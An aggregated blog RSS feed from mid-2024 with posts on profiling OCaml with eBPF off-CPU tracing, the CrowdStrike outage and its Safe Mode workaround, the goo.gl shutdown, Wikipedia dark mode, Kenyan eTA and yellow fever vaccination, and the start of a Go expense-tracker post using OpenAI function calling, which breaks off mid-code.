<p>Lastly, there is an option to create an opam switch with the development branch
of the compiler. The instructions are in <code class="language-plaintext highlighter-rouge">ocaml/HACKING.adoc</code>. In order to
create an opam switch from the current working directory, do:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ opam switch create . 'ocaml-option-fp' --working-dir
</code></pre></div></div>

<h2 id="glibc">glibc</h2>

<p>The libc is not compiled with frame pointers by default. This will lead to many
truncated stack traces. On Ubuntu, I did the following to get a glibc with frame
pointers enabled:</p>

<ol>
  <li>Install glibc with frame pointers
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt install libc6-prof
</code></pre></div>    </div>
  </li>
  <li>LD_PRELOAD the glibc with frame pointers
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ LD_PRELOAD=/lib/libc6-prof/x86_64-linux-gnu/libc.so.6 ./myapp.exe
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="running">Running</h2>

<p>On one terminal run the program that you want to analyze:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ LD_PRELOAD=/lib/libc6-prof/x86_64-linux-gnu/libc.so.6 ./ocamlfoo.exe
</code></pre></div></div>

<p>On another terminal run <code class="language-plaintext highlighter-rouge">offcputime-bpfcc</code> tool:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo offcputime-bpfcc --stack-storage-size 2097152 -p $(pgrep -f ocamlfoo.exe) 10 &gt; offcputime.out
</code></pre></div></div>

<p>The command instruments the watches for 10s and the writes out the stack traces
corresponding to blocking calls in <code class="language-plaintext highlighter-rouge">offcputime.out</code>. We use a large stack
storage size argument so as to not lose stack traces. Otherwise, you will see
many <code class="language-plaintext highlighter-rouge">[Missing User Stack]</code> errors in the back traces.</p>

<h2 id="caveats">Caveats</h2>

<p><code class="language-plaintext highlighter-rouge">offcputime-bpfcc</code> must run longer than the program being instrumented by a few
seconds so that the function symbols are resolved. Otherwise you may see
<code class="language-plaintext highlighter-rouge">[unknown]</code> in the backtrace for function names.</p>

<h2 id="oddities">Oddities</h2>

<p>I still see an order of magnitude difference between the maximum pauses observed
using <code class="language-plaintext highlighter-rouge">offcputime-bpfcc</code> and <code class="language-plaintext highlighter-rouge">olly trace</code>. Something is off.</p>

<h2 id="other-links">Other links</h2>

<ul>
  <li><a href="https://www.pingcap.com/blog/how-to-trace-linux-system-calls-in-production-with-minimal-impact-on-performance/">https://www.pingcap.com/blog/how-to-trace-linux-system-calls-in-production-with-minimal-impact-on-performance/</a></li>
</ul>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[On software as an "in-discipline"]]></title>
            <link>https://nadh.in/blog/on-software-as-an-indiscipline/</link>
            <guid isPermaLink="false">https://nadh.in/blog/on-software-as-an-indiscipline/</guid>
            <pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The nth-order effects of the recent CrowdStrike fiasco [1][2][3] will unfold over time. As it stands, it is apparently the single biggest global “tech outage” ever, which has already disrupted everything from airlines to railways to hospitals to financial systems amongst numerous others—globally.]]></description>
            <content:encoded><![CDATA[<p>The nth-order effects of the recent CrowdStrike fiasco <sup><a href="https://en.wikipedia.org/wiki/2024_CrowdStrike_incident">[1]</a><a href="https://www.bbc.com/news/live/cn056371561t">[2]</a><a href="https://news.ycombinator.com/item?id=41002195">[3]</a></sup> will unfold over time. As it stands, it is apparently the single biggest global &ldquo;tech outage&rdquo; ever, which has already disrupted everything from airlines to railways to hospitals to financial systems amongst numerous others—globally.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[IT Admins Battle Windows Blue Screen of Death After Faulty Update]]></title>
            <link>https://ibcomputing.com/it-admins-battle-windows-blue-screen-of-death-after-faulty-update/</link>
            <guid isPermaLink="false">https://ibcomputing.com/it-admins-battle-windows-blue-screen-of-death-after-faulty-update/</guid>
            <pubDate>Fri, 19 Jul 2024 22:44:17 GMT</pubDate>
            <description><![CDATA[How IT Admins Are Fixing the Windows Blue Screen of Death IT administrators worldwide are in crisis mode today due to a major issue with … 
The post IT Admins Battle Windows Blue Screen of Death After Faulty Update appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<figure id="attachment_1676" aria-describedby="caption-attachment-1676" style="width: 640px" class="wp-caption aligncenter"><a href="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/bluescreendeath.webp?ssl=1" data-wpel-link="external" target="_blank" rel="follow external noopener"><img data-recalc-dims="1" fetchpriority="high" decoding="async" data-attachment-id="1676" data-permalink="https://ibcomputing.com/it-admins-battle-windows-blue-screen-of-death-after-faulty-update/bluescreendeath/" data-orig-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/bluescreendeath.webp?fit=640%2C427&amp;ssl=1" data-orig-size="640,427" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="bluescreendeath" data-image-description="&lt;p&gt;&amp;#8220;IT admins are fixing the Windows Blue Screen of Death caused by a faulty update from CrowdStrike. Learn about the workaround and solutions to recover affected systems.&amp;#8221;&lt;/p&gt;
" data-image-caption="&lt;p&gt;Photo by Anthony Kwan / Getty Images&lt;/p&gt;
" data-medium-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/bluescreendeath.webp?fit=300%2C200&amp;ssl=1" data-large-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/bluescreendeath.webp?fit=640%2C427&amp;ssl=1" class="wp-image-1676 size-full" src="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/bluescreendeath.webp?resize=640%2C427&#038;ssl=1" alt="Windows Blue Screen of Death" width="640" height="427" srcset="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/bluescreendeath.webp?w=640&amp;ssl=1 640w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/bluescreendeath.webp?resize=300%2C200&amp;ssl=1 300w" sizes="(max-width: 640px) 100vw, 640px" /></a><figcaption id="caption-attachment-1676" class="wp-caption-text">Photo by Anthony Kwan / Getty Images</figcaption></figure>
<h4>How IT Admins Are Fixing the Windows Blue Screen of Death</h4>
<p class="whitespace-pre-wrap">IT administrators worldwide are in crisis mode today due to a major issue with Windows computers. A recent faulty update from cybersecurity provider CrowdStrike has caused thousands of PCs and servers to crash with the notorious Windows Blue Screen of Death (BSOD) error. Although CrowdStrike has resolved the update issue, countless systems remain offline, affecting banks, airlines, supermarkets, and TV broadcasters.</p>
<h4>The Fix: Tackling the Windows Blue Screen of Death</h4>
<p class="whitespace-pre-wrap">Windows Blue Screen of Death Fix  for many affected systems isn&#8217;t straightforward. IT admins are utilizing a suggested workaround from CrowdStrike, which involves booting Windows into Safe Mode and manually deleting the problematic system file to initiate the Windows Blue Screen of Death fix:</p>
<ol>
<li>Boot Windows into Safe Mode or the Windows Recovery Environment.</li>
<li>Navigate to the C:\Windows\System32\drivers\CrowdStrike directory.</li>
<li>Locate and delete the file matching “C-00000291*.sys”.</li>
<li>Reboot the host.</li>
</ol>
<p class="whitespace-pre-wrap">These steps help boot Windows into an environment where third-party drivers, such as CrowdStrike’s kernel-level driver, aren&#8217;t loaded. Admins must physically access machines to delete the faulty driver, complicating matters in environments with disk encryption like BitLocker or limited admin rights.</p>
<h4>Challenges and Solutions</h4>
<p class="whitespace-pre-wrap">For many environments, the workaround is complicated by technical constraints, pushing some IT admins to wait for CrowdStrike’s fix. This entails repeated reboots in hopes that the update gets applied before the machine crashes again. Surprisingly, this &#8220;turn-it-off-and-on-again&#8221; method has had some success, with machines coming back online after multiple reboots. The delay can be attributed to CrowdStrike’s update servers being overwhelmed by an influx of requests from millions of machines.</p>
<p class="whitespace-pre-wrap">Businesses using virtual desktops might recover faster by restoring systems to a pre-update state. However, in cases where reboots fail, booting into Safe Mode remains the most reliable option to implement a Windows Blue Screen of Death fix.</p>
<h4>CrowdStrike’s Response</h4>
<p class="whitespace-pre-wrap">This crisis won’t be resolved in just a few hours. &#8220;It could take some time for systems that won’t automatically recover, but it is our mission to ensure every customer is fully operational,&#8221; stated CrowdStrike CEO George Kurtz in an interview with NBC News. Kurtz apologized for the widespread disruptions caused by the faulty update, promising a thorough investigation into how such an issue could affect so many machines globally.</p>
<h3></h3>
<p>The post <a href="https://ibcomputing.com/it-admins-battle-windows-blue-screen-of-death-after-faulty-update/" data-wpel-link="internal">IT Admins Battle Windows Blue Screen of Death After Faulty Update</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>News</category>
        </item>
        <item>
            <title><![CDATA[Google’s Goo.gl Link Shortener Expire in Aug 2025]]></title>
            <link>https://ibcomputing.com/googles-goo-gl-link-shortener-expire-in-aug-2025/</link>
            <guid isPermaLink="false">https://ibcomputing.com/googles-goo-gl-link-shortener-expire-in-aug-2025/</guid>
            <pubDate>Fri, 19 Jul 2024 22:30:54 GMT</pubDate>
            <description><![CDATA[Google’s Goo.gl Link Shortener Expire on Aug 2025 Hold onto your hyperlinks, folks!  Google’s Goo.gl Link Shortener Expire soon. it  is officially nearing the end … 
The post Google’s Goo.gl Link Shortener Expire in Aug 2025 appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p><a href="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?ssl=1" data-wpel-link="external" target="_blank" rel="follow external noopener"><img data-recalc-dims="1" decoding="async" data-attachment-id="1671" data-permalink="https://ibcomputing.com/googles-goo-gl-link-shortener-expire-in-aug-2025/goo-gl-cover/" data-orig-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?fit=1500%2C750&amp;ssl=1" data-orig-size="1500,750" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="goo.gl-cover" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?fit=300%2C150&amp;ssl=1" data-large-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?fit=1024%2C512&amp;ssl=1" class="wp-image-1671 size-full" src="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?resize=1200%2C600&#038;ssl=1" alt="Google's Goo.gl Link Shortener Expire" width="1200" height="600" srcset="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?w=1500&amp;ssl=1 1500w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?resize=300%2C150&amp;ssl=1 300w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?resize=1024%2C512&amp;ssl=1 1024w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/goo.gl-cover.webp?resize=768%2C384&amp;ssl=1 768w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></p>
<h4>Google&#8217;s Goo.gl Link Shortener Expire on Aug 2025</h4>
<p class="whitespace-pre-wrap">Hold onto your hyperlinks, folks!  Google&#8217;s Goo.gl Link Shortener Expire soon. it  is officially nearing the end of its digital road. After ceasing the creation of new goo.gl URLs in March 2019, Google has now set the definitive expiration date for these links: August 25, 2025.</p>
<h4>The End of an Era</h4>
<p class="whitespace-pre-wrap">The sun began to set on goo.gl back in 2018 when Google first announced its shutdown for consumers and developers. A year later, the company halted the creation, analytics, and management of new links for all users. Fast forward to 2025, and it&#8217;s &#8220;404 Not Found&#8221; for any goo.gl URL still roaming the web.</p>
<h4>Transition Period Ahead</h4>
<p class="whitespace-pre-wrap">Starting August 23, 2024, users clicking on a goo.gl link will encounter an interstitial page saying, “This link will no longer work in the near future.” Fear not, you can hit “Continue” to proceed, with an option to “Don’t show this again” for future clicks.</p>
<h4>Developers, Take Note!</h4>
<p class="whitespace-pre-wrap">Google has a special note for developers: beware of potential disruptions! The interstitial page might throw a wrench in your redirect flows and social metadata displays. You might want to start shifting your goo.gl links ASAP. As an interim fix, adding the query parameter “si=1” should suppress the interstitial page for the time being.</p>
<p class="whitespace-pre-wrap">Here’s the official word from Google:</p>
<blockquote>
<p class="whitespace-pre-wrap">“For example, if you are using other 302 redirects, the interstitial page may prevent the redirect flow from completing correctly. If you’ve embedded social metadata in your destination page, the interstitial page will likely cause these to no longer show up where the initial link is displayed. For this reason, we advise transitioning these links as soon as possible.”</p>
</blockquote>
<h4>The Next Step: Firebase Dynamic Links</h4>
<p class="whitespace-pre-wrap">Back in 2018, Google nudged developers to shift to Firebase Dynamic Links, designed to detect the user’s platform and direct them to either the web or an app. Oh, the irony! Google eventually pulled the plug on that service for developers too.</p>
<h3>Time to Update Your URLs</h3>
<p class="whitespace-pre-wrap">So, mark your calendars for August 25, 2025 Google&#8217;s Goo.gl Link Shortener Expire. Whether you’re a developer or just a goo.gl enthusiast, it’s time to update those shortened links before they become digital relics.</p>
<p>The post <a href="https://ibcomputing.com/googles-goo-gl-link-shortener-expire-in-aug-2025/" data-wpel-link="internal">Google&#8217;s Goo.gl Link Shortener Expire in Aug 2025</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>News</category>
        </item>
        <item>
            <title><![CDATA[Wikipedia Launches Long-Awaited Dark Mode Feature]]></title>
            <link>https://ibcomputing.com/wikipedia-launches-long-awaited-dark-mode-feature/</link>
            <guid isPermaLink="false">https://ibcomputing.com/wikipedia-launches-long-awaited-dark-mode-feature/</guid>
            <pubDate>Thu, 18 Jul 2024 21:43:01 GMT</pubDate>
            <description><![CDATA[Dark Mode Finally Arrives After years of anticipation, Wikipedia introduces dark mode, now available on select wikis for both mobile and desktop in reading and … 
The post Wikipedia Launches Long-Awaited Dark Mode Feature appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<h4>Dark Mode Finally Arrives</h4>
<figure id="attachment_1665" aria-describedby="caption-attachment-1665" style="width: 1524px" class="wp-caption aligncenter"><a href="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?ssl=1" data-wpel-link="external" target="_blank" rel="follow external noopener"><img data-recalc-dims="1" decoding="async" data-attachment-id="1665" data-permalink="https://ibcomputing.com/wikipedia-launches-long-awaited-dark-mode-feature/wikidark/" data-orig-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?fit=1524%2C861&amp;ssl=1" data-orig-size="1524,861" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="wikidark" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?fit=300%2C169&amp;ssl=1" data-large-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?fit=1024%2C579&amp;ssl=1" class="wp-image-1665 size-full" src="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?resize=1200%2C678&#038;ssl=1" alt="Wikipedia Dark Mode" width="1200" height="678" srcset="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?w=1524&amp;ssl=1 1524w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?resize=1024%2C579&amp;ssl=1 1024w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2024/07/wikidark.png?resize=768%2C434&amp;ssl=1 768w" sizes="(max-width: 1200px) 100vw, 1200px" /></a><figcaption id="caption-attachment-1665" class="wp-caption-text">Wikipedia Launches Highly-Anticipated Dark Mode for Easier Night Reading</figcaption></figure>
<p class="whitespace-pre-wrap">After years of anticipation, Wikipedia introduces dark mode, now available on select wikis for both mobile and desktop in reading and editing modes. This feature, one of the most requested by the community, aims to enhance accessibility and reduce eye strain by providing a low-contrast environment.</p>
<h4>Why Dark Mode Matters</h4>
<p class="whitespace-pre-wrap">Dark mode hasn’t just been a nice-to-have; it’s been a necessity. Since at least 2019, editors and readers have pushed for this feature, with 20% signaling their dark mode preference at the OS level. Though research is mixed, many agree dark mode lessens eye strain and helps those with certain medical conditions.</p>
<h4>Overcoming Challenges</h4>
<p class="whitespace-pre-wrap">Creating dark mode for Wikipedia involved overcoming significant technical hurdles. The new Vector 2022 skin was pivotal, and the collaborative effort between Wikimedia Foundation engineers and volunteer editors was essential. Articles like “International Orange” demonstrated the necessity of precision to avoid misinformation caused by altered color presentations.</p>
<h4>The Accessibility Opportunity</h4>
<p class="whitespace-pre-wrap">Introducing dark mode highlighted pre-existing accessibility issues in many articles. For instance, the Wrexham A.F.C. article&#8217;s inaccessible red headers were revamped for better readability. This project has spotlighted the importance of wise color usage and overall content improvement.</p>
<h4>How to Activate Dark Mode</h4>
<p class="whitespace-pre-wrap">Dark mode is currently available for logged-in users across all Wikipedias and gradually rolling out to non-logged-in users on wikis with minimal color issues or active technical editor involvement. Supported skins include Minerva (mobile) and Vector 2022 (desktop). Editors proficient in CSS and templates are encouraged to help expand dark mode availability.</p>
<h4>A Collaborative Achievement</h4>
<p class="whitespace-pre-wrap">The rollout has been a collective effort, featuring invaluable contributions from volunteer editors and various Wikimedia teams. This milestone wouldn&#8217;t have been possible without their dedication and collaboration.</p>
<h4>Enjoy the Experience!</h4>
<p class="whitespace-pre-wrap">As dark mode continues to expand, users are invited to enjoy a more comfortable reading experience on Wikipedia. For more info and to help improve accessibility, volunteer your expertise on CSS and templates.</p>
<p class="whitespace-pre-wrap">Stay tuned as Wikipedia keeps evolving for the better – one dark mode at a time!</p>
<p>The post <a href="https://ibcomputing.com/wikipedia-launches-long-awaited-dark-mode-feature/" data-wpel-link="internal">Wikipedia Launches Long-Awaited Dark Mode Feature</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>News</category>
            <category>dark mode</category>
            <category>wikipedia</category>
        </item>
        <item>
            <title><![CDATA[Kenya Visa Process]]></title>
            <link>https://ravidwivedi.in/posts/kenya-visa-process/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/kenya-visa-process/</guid>
            <pubDate>Sun, 14 Jul 2024 10:54:02 GMT</pubDate>
            <description><![CDATA[Prior to arrival in Kenya, you need to apply for an Electronic Travel Authorization (eTA) on their website by uploading all the required documents. This system is in place since Jan 2024 after the country abolished the visa system. The required documents will depend on the purpose of your visit, which in my case, was to attend a conference.
Here is the list of documents I submitted for my eTA:
Scanned copy of my passport
Photograph with white background
Flight tickets (reservation)
Hotel bookings (reservation)
Invitation letter from the conference
Yellow Fever vaccination certificate (optional)
Job contract (optional)
“Reservation” means I didn’t book the flights and hotels, but rather reserved them. Additionally, “optional” means that those documents were not mandatory to submit, but I submitted them in the “Other Documents” section in order to support my application. After submitting the eTA, I had to make a payment of around 35 US Dollars (approximately 3000 Indian Rupees).
It took 40 hours for me to receive an email from Kenya stating that my eTA has been approved, along with an attached PDF, making this one of my smoothest experiences of obtaining travel documents to travel to a country :). An eTA is technically not a visa, but I put the word “visa” in the title due to familiarity with the term.]]></description>
            <content:encoded><![CDATA[<p>Prior to arrival in Kenya, you need to apply for an Electronic Travel Authorization (eTA) on <a href="https://www.etakenya.go.ke/en">their website</a> by uploading all the required documents. This system is in place since Jan 2024 after the country abolished the visa system. The required documents will depend on the purpose of your visit, which in my case, was to attend a conference.</p>
<p>Here is the list of documents I submitted for my eTA:</p>
<ul>
<li>
<p>Scanned copy of my passport</p>
</li>
<li>
<p>Photograph with white background</p>
</li>
<li>
<p>Flight tickets (reservation)</p>
</li>
<li>
<p>Hotel bookings (reservation)</p>
</li>
<li>
<p>Invitation letter from the conference</p>
</li>
<li>
<p>Yellow Fever vaccination certificate (optional)</p>
</li>
<li>
<p>Job contract (optional)</p>
</li>
</ul>
<p>&ldquo;Reservation&rdquo; means I didn&rsquo;t book the flights and hotels, but rather reserved them. Additionally, &ldquo;optional&rdquo; means that those documents were not mandatory to submit, but I submitted them in the &ldquo;Other Documents&rdquo; section in order to support my application. After submitting the eTA, I had to make a payment of around 35 US Dollars (approximately 3000 Indian Rupees).</p>
<p>It took 40 hours for me to receive an email from Kenya stating that my eTA has been approved, along with an attached PDF, making this one of my smoothest experiences of obtaining travel documents to travel to a country :). An eTA is technically not a visa, but I put the word &ldquo;visa&rdquo; in the title due to familiarity with the term.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Poor man's job runner with Clojure Agents]]></title>
            <link>https://www.evalapply.org/posts/poor-mans-job-runner-clojure-agents/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/poor-mans-job-runner-clojure-agents/index.html</guid>
            <pubDate>Sun, 14 Jul 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[On (mis)using Clojure's concurrency features to make an in-memory job runner, because I needed an excuse to use more than atoms for once. Definitely not Rich Hickey's "Ants" demo.]]></description>
            <content:encoded><![CDATA[On (mis)using Clojure's concurrency features to make an in-memory job runner, because I needed an excuse to use more than atoms for once. Definitely not Rich Hickey's "Ants" demo.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>riff</category>
            <category>functional_programming</category>
            <category>clojure</category>
            <category>web_development</category>
        </item>
        <item>
            <title><![CDATA[Yellow Fever Vaccine]]></title>
            <link>https://ravidwivedi.in/posts/yellow-fever-vaccine/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/yellow-fever-vaccine/</guid>
            <pubDate>Sat, 13 Jul 2024 07:56:03 GMT</pubDate>
            <description><![CDATA[Recently, I got vaccinated with yellow fever vaccine as I am planning to travel to Kenya, a high risk country for yellow fever, in the near future. It should be taken at least 10 days before getting into the areas with yellow fever transmission to provide enough time for the formation of the antibodies. In order to get vaccinated, I searched for vaccination centers in Delhi and stumbled upon this page by the Indian government, which lists vaccination centers for yellow fever all over India. From that list, I made a phone call to the Airport Health Organization, a vaccination center near the Delhi Airport.
They asked me to write an email stating that I need yellow fever vaccination. After sending the email, they prompted me to attach a scanned copy of my passport data page, upon sending which they emailed me my appointment date, asking me to pay 300 INR in advance along with other instructions. The appointment date was 4 days after I sent scanned copy of my passport. The email also mentioned that those who are allergic to eggs or have never taken eggs should instead visit RML Hospital.
The vaccination center must be visited during 10 AM to 12 noon on the date of appointment. I reached there at around 11 AM and got vaccinated in around 40 minutes, followed by obtaining a vaccine certificate in half an hour.
One dose of this vaccine gives immunity against yellow fever for lifetime. Therefore, I can travel to any country with yellow fever transmission after getting this dose. Although some countries may require proof of vaccination within some time frame and some people might need a booster dose to maintain immunity.]]></description>
            <content:encoded><![CDATA[<p>Recently, I got vaccinated with <a href="https://en.wikivoyage.org/wiki/Yellow_fever">yellow fever</a> vaccine as I am planning to travel to Kenya, a high risk country for yellow fever, in the near future. It should be taken at least 10 days before getting into the areas with yellow fever transmission to provide enough time for the formation of the antibodies. In order to get vaccinated, I searched for vaccination centers in Delhi and stumbled upon <a href="https://ihpoe.mohfw.gov.in/vaccination_centres.php">this page</a> by the Indian government, which lists vaccination centers for yellow fever all over India. From that list, I made a phone call to the Airport Health Organization, a vaccination center near the Delhi Airport.</p>
<p>They asked me to write an email stating that I need yellow fever vaccination. After sending the email, they prompted me to attach a scanned copy of my passport data page, upon sending which they emailed me my appointment date, asking me to pay 300 INR in advance along with other instructions. The appointment date was 4 days after I sent scanned copy of my passport. The email also mentioned that those who are allergic to eggs or have never taken eggs should instead visit RML Hospital.</p>
<p>The vaccination center must be visited during 10 AM to 12 noon on the date of appointment. I reached there at around 11 AM and got vaccinated in around 40 minutes, followed by obtaining a vaccine certificate in half an hour.</p>
<p>One dose of this vaccine gives immunity against yellow fever for lifetime. Therefore, I can travel to any country with yellow fever transmission after getting this dose. Although some countries may require proof of vaccination within some time frame and some people might need a booster dose to maintain immunity.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Thinking...]]></title>
            <link>https://shrirangkahale.com/posts/thinking/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/thinking/</guid>
            <pubDate>Mon, 08 Jul 2024 15:49:50 GMT</pubDate>
            <description><![CDATA[It’s late, I am sitting in my chair with my laptop in my lap, a drizzle of rain is falling outside and I can hear constant plunk plunk plunk sounds of the rain hitting the floor, a cool breeze is running through my room. A table fan is running pointing away from myself because otherwise it feels too cold.
I sit while I think about the world around me. That’s what I do when I am bored, I marvel about the world, it’s enormity and beauty.]]></description>
            <content:encoded><![CDATA[It&rsquo;s late, I am sitting in my chair with my laptop in my lap, a drizzle of rain is falling outside and I can hear constant plunk plunk plunk sounds of the rain hitting the floor, a cool breeze is running through my room. A table fan is running pointing away from myself because otherwise it feels too cold.
I sit while I think about the world around me. That&rsquo;s what I do when I am bored, I marvel about the world, it&rsquo;s enormity and beauty.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Living Off-grid]]></title>
            <link>https://shrirangkahale.com/posts/living-offgrid/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/living-offgrid/</guid>
            <pubDate>Fri, 14 Jun 2024 09:19:34 GMT</pubDate>
            <description><![CDATA[Infrastructure is fascinating, atleast to me. Recently I have been reading up about the infrastructure required for research at The South Pole. A lot of the things which we take for granted while we carry out our daily lives are not readily available there. The average annual temperature is around -49°C which means that water in liquid form is not available. What they have to do instead is pump heated water to a structure which is called Rodwell which forms an underground lake of water, heated water is continuously pumped to this through insulated pipes to ensure that it does not freeze.]]></description>
            <content:encoded><![CDATA[Infrastructure is fascinating, atleast to me. Recently I have been reading up about the infrastructure required for research at The South Pole. A lot of the things which we take for granted while we carry out our daily lives are not readily available there. The average annual temperature is around -49°C which means that water in liquid form is not available. What they have to do instead is pump heated water to a structure which is called Rodwell which forms an underground lake of water, heated water is continuously pumped to this through insulated pipes to ensure that it does not freeze.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Building an expense tracker app]]></title>
            <link>https://mrkaran.dev/posts/gullak/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/gullak/</guid>
            <pubDate>Fri, 14 Jun 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[A couple of weeks ago, I decided to start logging and tracking my expenses. The goal was not to record every minor purchase but to gain a general insight into where my money was going. In this post, I’ll dive deep into the behind-the-scenes of building Gullak—an expense tracker app with a dash of AI (yes).



Why#
My wife and I have a simple system for tracking our expenses during trips: we use Apple Notes to maintain a day-wise record, jotting down a one-liner for each expense under the date. This straightforward method has proven effective in keeping tabs on our spending habits while traveling.
For instance, during our last Europe trip, we recorded our daily expenses. After returning home, I was eager to analyze our spending patterns. I copied all these items into Google Sheets to analyse the top categories that I spent on during the trip.

I decided to develop a simple expense tracker app that automatically categorizes expenses into various groups like food, travel, shopping, etc. I believed this was a practical use case for leveraging an LLM paired with Function calling to parse and categorize expenses.
Initial Prototype#
The first step involved designing a prompt to capture user input about their spending. I picked up go-openai library and experimented with it.
Almost a year ago, I had developed a small bot for personal use, which provided a JSON output detailing the macronutrients and calories in specific food items, storing this information in Metabase. However, this was during the early days of API access provided by OpenAI. Due to occasionally unsatisfactory and inconsistent responses (despite instructions like “MUST RETURN JSON OR 1000 CATS WILL D*E SOMEWHERE”), it wasn’t entirely reliable.
Function calling addresses two main limitations of traditional language model responses:
Inconsistent response format: Without function calling, responses from language models can be unstructured and inconsistent, requiring complex validation and parsing logic on the application side.
Lack of external data integration: Language models are typically limited to the knowledge they were trained on, making it challenging to provide answers based on real-time or external data.
It’s important to note that the LLM does not actually execute any functions. Rather, we create a structure for the LLM to follow in its responses. The LLM would then generate a response with the content as a stringified JSON object following the schema provided in the function definiton.
I created a function called categorize_expense. This function takes a list of transactions as parameters, with each transaction having properties like transaction_date, amount, category, and description.
Here’s what this looks like:
fnCategorizeExpenses := openai.FunctionDefinition{
  Name:        "categorize_expense",
  Description: "Categorize expenses from the given input.",
  Parameters: jsonschema.Definition{
    Type: jsonschema.Object,
    Properties: map[string]jsonschema.Definition{
      "transactions": {
        Type:        jsonschema.Array,
        Description: "List of items purchased",
        Items: &jsonschema.Definition{
